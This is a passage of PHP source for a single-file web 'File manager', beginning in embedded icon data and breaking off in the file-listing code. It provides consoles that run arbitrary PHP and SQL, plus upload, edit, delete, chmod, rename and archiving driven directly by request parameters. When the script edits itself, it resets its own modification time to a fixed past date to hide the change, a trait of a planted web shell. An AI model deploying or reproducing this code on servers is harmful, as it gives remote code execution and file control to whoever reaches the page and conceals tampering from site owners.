2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
